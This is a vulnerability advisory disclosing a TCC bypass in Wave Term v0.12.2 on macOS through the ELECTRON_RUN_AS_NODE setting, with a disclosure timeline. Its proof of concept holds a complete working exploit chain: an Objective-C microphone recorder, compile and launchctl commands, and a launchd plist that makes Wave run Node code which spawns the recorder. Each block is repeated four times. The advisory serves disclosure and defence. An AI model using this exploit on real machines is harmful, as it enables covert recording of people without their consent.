
Code Injection in Wave Term v0.12.2 allowing TCC Bypass
6.9
Medium
6.9
Medium
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
Code Injection using Electron Fuses in Wave Term v0.12.2 allowing TCC Bypasss
Code name
State
Public
Release date
Dec 12, 2025
Affected product
Wave Term
Vendor
Wave
Affected version(s)
v0.12.2
Vulnerability name
TCC Bypass
Vulnerability type
Remotely exploitable
No
CVSS v4.0 vector string
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N
CVSS v4.0 base score
6.9
Exploit available
Yes
CVE ID(s)
Description
The version v0.12.2 of Wave Terminal on macOS contains a misconfiguration in the Node.js/Electron environment settings that could allow code execution by utilizing the ELECTRON_RUN_AS_NODE environment variable or the --inspect option. This allows an attacker to bypass the TCC (Transparency, Consent, and Control) safe mechanism and capture audio, video, or screen content without user consent.
Vulnerability
A misconfiguration vulnerability in Wave v0.12.2 running on macOS allows for arbitrary code execution and evasion of macOS's Transparency, Consent, and Control (TCC) mechanism. This flaw stems from the Node.js/Electron environment settings, where manipulation of the ELECTRON_RUN_AS_NODE environment variable or the use of the --inspect option can be exploited.
An attacker can leverage this misconfiguration to execute malicious code, bypassing TCC protections. This could lead to the unauthorized capture of audio from the microphone without explicit user consent, compromising system privacy.
Without the TCC bypass, an attacker can't capture audio because of the entitlements granted to the terminal.

PoC
1. Create a binary to record from the microphone.
#import <Foundation/Foundation.h> #import <AVFoundation/AVFoundation.h> @interface MicRecorder : NSObject < AVCaptureFileOutputRecordingDelegate > @property (strong) AVCaptureSession * session; @property (strong) AVCaptureMovieFileOutput * output; @end @implementation MicRecorder - (instancetype)init { self = [super init]; if (self) { self.session = [[AVCaptureSession alloc] init]; self.output = [[AVCaptureMovieFileOutput alloc] init]; // Audio device (default microphone) AVCaptureDevice * mic = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio]; NSError * error = nil; AVCaptureDeviceInput * input = [AVCaptureDeviceInput deviceInputWithDevice:mic error:&error]; if (!input) { NSLog(@"Failed to open microphone: %@", error); return nil; } if ([self.session canAddInput:input]) { [self.session addInput:input]; } if ([self.session canAddOutput:self.output]) { [self.session addOutput:self.output]; } } return self; } - (void)startRecording:(NSString * )path duration:(int)seconds { NSURL * url = [NSURL fileURLWithPath:path]; [self.session startRunning]; [self.output startRecordingToOutputFileURL:url recordingDelegate:self]; dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(seconds * NSEC_PER_SEC)), dispatch_get_main_queue(), ^ { [self.output stopRecording]; [self.session stopRunning]; NSLog(@"Recording finished: %@", path); CFRunLoopStop(CFRunLoopGetMain()); } ); } @end int main(int argc, const char * argv[]) { @autoreleasepool { MicRecorder * recorder = [[MicRecorder alloc] init]; NSString * outfile = @"/tmp/mic-record.mov"; int duration = (argc > 1) ? atoi(argv[1]) : 5; [recorder startRecording:outfile duration:duration]; CFRunLoopRun(); } return 0; }
#import <Foundation/Foundation.h> #import <AVFoundation/AVFoundation.h> @interface MicRecorder : NSObject < AVCaptureFileOutputRecordingDelegate > @property (strong) AVCaptureSession * session; @property (strong) AVCaptureMovieFileOutput * output; @end @implementation MicRecorder - (instancetype)init { self = [super init]; if (self) { self.session = [[AVCaptureSession alloc] init]; self.output = [[AVCaptureMovieFileOutput alloc] init]; // Audio device (default microphone) AVCaptureDevice * mic = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio]; NSError * error = nil; AVCaptureDeviceInput * input = [AVCaptureDeviceInput deviceInputWithDevice:mic error:&error]; if (!input) { NSLog(@"Failed to open microphone: %@", error); return nil; } if ([self.session canAddInput:input]) { [self.session addInput:input]; } if ([self.session canAddOutput:self.output]) { [self.session addOutput:self.output]; } } return self; } - (void)startRecording:(NSString * )path duration:(int)seconds { NSURL * url = [NSURL fileURLWithPath:path]; [self.session startRunning]; [self.output startRecordingToOutputFileURL:url recordingDelegate:self]; dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(seconds * NSEC_PER_SEC)), dispatch_get_main_queue(), ^ { [self.output stopRecording]; [self.session stopRunning]; NSLog(@"Recording finished: %@", path); CFRunLoopStop(CFRunLoopGetMain()); } ); } @end int main(int argc, const char * argv[]) { @autoreleasepool { MicRecorder * recorder = [[MicRecorder alloc] init]; NSString * outfile = @"/tmp/mic-record.mov"; int duration = (argc > 1) ? atoi(argv[1]) : 5; [recorder startRecording:outfile duration:duration]; CFRunLoopRun(); } return 0; }
#import <Foundation/Foundation.h> #import <AVFoundation/AVFoundation.h> @interface MicRecorder : NSObject < AVCaptureFileOutputRecordingDelegate > @property (strong) AVCaptureSession * session; @property (strong) AVCaptureMovieFileOutput * output; @end @implementation MicRecorder - (instancetype)init { self = [super init]; if (self) { self.session = [[AVCaptureSession alloc] init]; self.output = [[AVCaptureMovieFileOutput alloc] init]; // Audio device (default microphone) AVCaptureDevice * mic = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio]; NSError * error = nil; AVCaptureDeviceInput * input = [AVCaptureDeviceInput deviceInputWithDevice:mic error:&error]; if (!input) { NSLog(@"Failed to open microphone: %@", error); return nil; } if ([self.session canAddInput:input]) { [self.session addInput:input]; } if ([self.session canAddOutput:self.output]) { [self.session addOutput:self.output]; } } return self; } - (void)startRecording:(NSString * )path duration:(int)seconds { NSURL * url = [NSURL fileURLWithPath:path]; [self.session startRunning]; [self.output startRecordingToOutputFileURL:url recordingDelegate:self]; dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(seconds * NSEC_PER_SEC)), dispatch_get_main_queue(), ^ { [self.output stopRecording]; [self.session stopRunning]; NSLog(@"Recording finished: %@", path); CFRunLoopStop(CFRunLoopGetMain()); } ); } @end int main(int argc, const char * argv[]) { @autoreleasepool { MicRecorder * recorder = [[MicRecorder alloc] init]; NSString * outfile = @"/tmp/mic-record.mov"; int duration = (argc > 1) ? atoi(argv[1]) : 5; [recorder startRecording:outfile duration:duration]; CFRunLoopRun(); } return 0; }
#import <Foundation/Foundation.h> #import <AVFoundation/AVFoundation.h> @interface MicRecorder : NSObject < AVCaptureFileOutputRecordingDelegate > @property (strong) AVCaptureSession * session; @property (strong) AVCaptureMovieFileOutput * output; @end @implementation MicRecorder - (instancetype)init { self = [super init]; if (self) { self.session = [[AVCaptureSession alloc] init]; self.output = [[AVCaptureMovieFileOutput alloc] init]; // Audio device (default microphone) AVCaptureDevice * mic = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio]; NSError * error = nil; AVCaptureDeviceInput * input = [AVCaptureDeviceInput deviceInputWithDevice:mic error:&error]; if (!input) { NSLog(@"Failed to open microphone: %@", error); return nil; } if ([self.session canAddInput:input]) { [self.session addInput:input]; } if ([self.session canAddOutput:self.output]) { [self.session addOutput:self.output]; } } return self; } - (void)startRecording:(NSString * )path duration:(int)seconds { NSURL * url = [NSURL fileURLWithPath:path]; [self.session startRunning]; [self.output startRecordingToOutputFileURL:url recordingDelegate:self]; dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(seconds * NSEC_PER_SEC)), dispatch_get_main_queue(), ^ { [self.output stopRecording]; [self.session stopRunning]; NSLog(@"Recording finished: %@", path); CFRunLoopStop(CFRunLoopGetMain()); } ); } @end int main(int argc, const char * argv[]) { @autoreleasepool { MicRecorder * recorder = [[MicRecorder alloc] init]; NSString * outfile = @"/tmp/mic-record.mov"; int duration = (argc > 1) ? atoi(argv[1]) : 5; [recorder startRecording:outfile duration:duration]; CFRunLoopRun(); } return 0; }
Compile the above code with
gcc -fobjc-arc -framework Foundation -framework AVFoundation mic.m -o mic
gcc -fobjc-arc -framework Foundation -framework AVFoundation mic.m -o mic
gcc -fobjc-arc -framework Foundation -framework AVFoundation mic.m -o mic
gcc -fobjc-arc -framework Foundation -framework AVFoundation mic.m -o mic
Create the file `bypass.plist` to launch the daemon:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>EnvironmentVariables</key> <dict> <key>ELECTRON_RUN_AS_NODE</key> <string>true</string> </dict> <key>Label</key> <string>com.wave.tcc.bypass</string> <key>ProgramArguments</key> <array> <string>/Applications/Wave.app/Contents/MacOS/Wave</string> <string>-e</string> <string>const { spawn } = require("child_process"); spawn("/tmp/mic");</string> </array> <key>RunAtLoad</key> <true /> </dict> </plist>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>EnvironmentVariables</key> <dict> <key>ELECTRON_RUN_AS_NODE</key> <string>true</string> </dict> <key>Label</key> <string>com.wave.tcc.bypass</string> <key>ProgramArguments</key> <array> <string>/Applications/Wave.app/Contents/MacOS/Wave</string> <string>-e</string> <string>const { spawn } = require("child_process"); spawn("/tmp/mic");</string> </array> <key>RunAtLoad</key> <true /> </dict> </plist>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>EnvironmentVariables</key> <dict> <key>ELECTRON_RUN_AS_NODE</key> <string>true</string> </dict> <key>Label</key> <string>com.wave.tcc.bypass</string> <key>ProgramArguments</key> <array> <string>/Applications/Wave.app/Contents/MacOS/Wave</string> <string>-e</string> <string>const { spawn } = require("child_process"); spawn("/tmp/mic");</string> </array> <key>RunAtLoad</key> <true /> </dict> </plist>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>EnvironmentVariables</key> <dict> <key>ELECTRON_RUN_AS_NODE</key> <string>true</string> </dict> <key>Label</key> <string>com.wave.tcc.bypass</string> <key>ProgramArguments</key> <array> <string>/Applications/Wave.app/Contents/MacOS/Wave</string> <string>-e</string> <string>const { spawn } = require("child_process"); spawn("/tmp/mic");</string> </array> <key>RunAtLoad</key> <true /> </dict> </plist>
Launch the daemon with
launchctl load bypass.plist
launchctl load bypass.plist
launchctl load bypass.plist
launchctl load bypass.plist
Evidence of Exploitation
Executed commands
# Show mic.m source cat mic.m # Compile gcc -fobjc-arc -framework Foundation -framework AVFoundation mic.m -o mic # Copy mic to /tmp (avoid TCC disk access warning) cp mic /tmp/mic # List /tmp contents ls /tmp/ # Show bypass.plist cat bypass.plist # Launchctl (unload/load plist) launchctl unload bypass.plist launchctl load bypass.plist # Copy recording cp /tmp
# Show mic.m source cat mic.m # Compile gcc -fobjc-arc -framework Foundation -framework AVFoundation mic.m -o mic # Copy mic to /tmp (avoid TCC disk access warning) cp mic /tmp/mic # List /tmp contents ls /tmp/ # Show bypass.plist cat bypass.plist # Launchctl (unload/load plist) launchctl unload bypass.plist launchctl load bypass.plist # Copy recording cp /tmp
# Show mic.m source cat mic.m # Compile gcc -fobjc-arc -framework Foundation -framework AVFoundation mic.m -o mic # Copy mic to /tmp (avoid TCC disk access warning) cp mic /tmp/mic # List /tmp contents ls /tmp/ # Show bypass.plist cat bypass.plist # Launchctl (unload/load plist) launchctl unload bypass.plist launchctl load bypass.plist # Copy recording cp /tmp
# Show mic.m source cat mic.m # Compile gcc -fobjc-arc -framework Foundation -framework AVFoundation mic.m -o mic # Copy mic to /tmp (avoid TCC disk access warning) cp mic /tmp/mic # List /tmp contents ls /tmp/ # Show bypass.plist cat bypass.plist # Launchctl (unload/load plist) launchctl unload bypass.plist launchctl load bypass.plist # Copy recording cp /tmp
Wave term entitlements
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.security.cs.allow-jit</key> <true /> <key>com.apple.security.cs.allow-unsigned-executable-memory</key> <true /> <key>com.apple.security.cs.disable-library-validation</key> <true /> <key>com.apple.security.device.audio-input</key> <true /> <key>com.apple.security.device.camera</key> <true /> <key>com.apple.security.personal-information.addressbook</key> <true /> <key>com.apple.security.personal-information.calendars</key> <true /> <key>com.apple.security.personal-information.location</key> <true /> <key>com.apple.security.personal-information.photos-library</key> <true /> </dict> </plist>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.security.cs.allow-jit</key> <true /> <key>com.apple.security.cs.allow-unsigned-executable-memory</key> <true /> <key>com.apple.security.cs.disable-library-validation</key> <true /> <key>com.apple.security.device.audio-input</key> <true /> <key>com.apple.security.device.camera</key> <true /> <key>com.apple.security.personal-information.addressbook</key> <true /> <key>com.apple.security.personal-information.calendars</key> <true /> <key>com.apple.security.personal-information.location</key> <true /> <key>com.apple.security.personal-information.photos-library</key> <true /> </dict> </plist>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.security.cs.allow-jit</key> <true /> <key>com.apple.security.cs.allow-unsigned-executable-memory</key> <true /> <key>com.apple.security.cs.disable-library-validation</key> <true /> <key>com.apple.security.device.audio-input</key> <true /> <key>com.apple.security.device.camera</key> <true /> <key>com.apple.security.personal-information.addressbook</key> <true /> <key>com.apple.security.personal-information.calendars</key> <true /> <key>com.apple.security.personal-information.location</key> <true /> <key>com.apple.security.personal-information.photos-library</key> <true /> </dict> </plist>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>com.apple.security.cs.allow-jit</key> <true /> <key>com.apple.security.cs.allow-unsigned-executable-memory</key> <true /> <key>com.apple.security.cs.disable-library-validation</key> <true /> <key>com.apple.security.device.audio-input</key> <true /> <key>com.apple.security.device.camera</key> <true /> <key>com.apple.security.personal-information.addressbook</key> <true /> <key>com.apple.security.personal-information.calendars</key> <true /> <key>com.apple.security.personal-information.location</key> <true /> <key>com.apple.security.personal-information.photos-library</key> <true /> </dict> </plist>
Video of exploitation




Our security policy
We have reserved the ID CVE-2025-12843 to refer to this issue from now on.
System Information
Wave Term
Version v0.12.2
Operating System: macOS
References
Github Repository: https://github.com/wavetermdev/waveterm
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.
Timeline
Oct 1, 2025
Vulnerability discovered
Nov 10, 2025
Vendor contacted
Nov 26, 2025
Vendor replied
Dec 12, 2025
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.





